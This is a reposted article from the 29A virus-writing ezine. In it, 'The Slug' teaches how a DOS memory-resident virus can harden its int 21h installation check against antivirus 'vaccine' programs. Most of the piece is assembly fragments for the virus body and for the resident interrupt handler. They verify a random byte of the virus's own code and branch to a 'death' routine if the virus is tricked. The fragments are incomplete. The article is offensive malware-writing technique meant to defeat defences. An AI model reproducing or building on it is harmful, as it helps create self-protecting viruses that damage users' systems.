Copy Link
Add to Bookmark
Report

29A Issue 01 03 06

eZine's profile picture
Published in 
29A
 · 4 years ago

  

Installation check
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
The Slug

No one does a resident virus with no installation check to see if it's
already in memory; the problem is that many times this action can turn
back to it.

The most common form a virus has in order to check for its residence is
by means of a call to a service in some interruption, normally inexistent
that the virus creates for the occasion. When it gets to be executed, it
calls the service with some kind of value in a register, and checks the
answer for another one; if the value it expected gets returned, then it's
memory resident; if not, it'll proceed.

Here's where we build the typical lame program that will answer the ins-
tallation checks of several viruses we want, being therefore immune to
them... nasty, don't you think? }:)

The following technique tries to make much more difficult this trick...
i'll explain it with some detail:

The start code for the virus remains the same, except that it generates a
random number inside its own code; this number gets onto the interrupt
service (BX, in this case). This is, we'd have something like this:


; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus body ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

start: call sigins
sigins: pop si
sub si,offset(sigins)
.
.
.
.
.
resid: push es
xor bx,bx ; Check if it's resident
mov es,bx
mov bl,es:[046ch] ; BL <- random value
add bx,84
pop es
mov cs:si+numbyt,bx ; Keep the value

mov ah,0aah
int 21h

cmp ah,0bbh
jne goon ; In case it's not resident

mov bx,cs:[si+numbyt] ; Check if it's being tricked
cmp cs:[bx+si],al
je aprog1 ; If it's really resident
jmp death ; If it's being reicked
.
.
.
.
.
code ends
end start

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Now, we're just left with writing the part of the interruption service
service which will return the byte's random value; in this case, 0bbh is
returned in AH and the byte in AL:


; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ interruption service (in int 21h) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

int_21h: pushf
cmp ah,0aah ; Residence service
jne sigue

popf
mov ah,0bbh ; Already resident code
mov al,cs:[bx] ; Value of a code position
iret

sigue: .
.
.

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


This way, each time we call the service, as well as asking for the code,
it asks for the value at position x, being x a random offset inside its
own code. Once this is returned we try to see if we've been correctly an-
swered, otherwise... }:)

NOTE: main code keeps a copy in a variable of the random value it genera-
tes, and that is what it uses to avoid being tricked by changing
the value it passes by.

Now, it isn't that easy the damn lame resident program, cause, at least,
it must have a copy of the virus in memory; moreover, if we had variables
in the middle of the code this wouldnt be exact, so the program wouldn't
be safe at all, having also a random activation routine :)


uhmm, I love this job
The Slug/29A

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT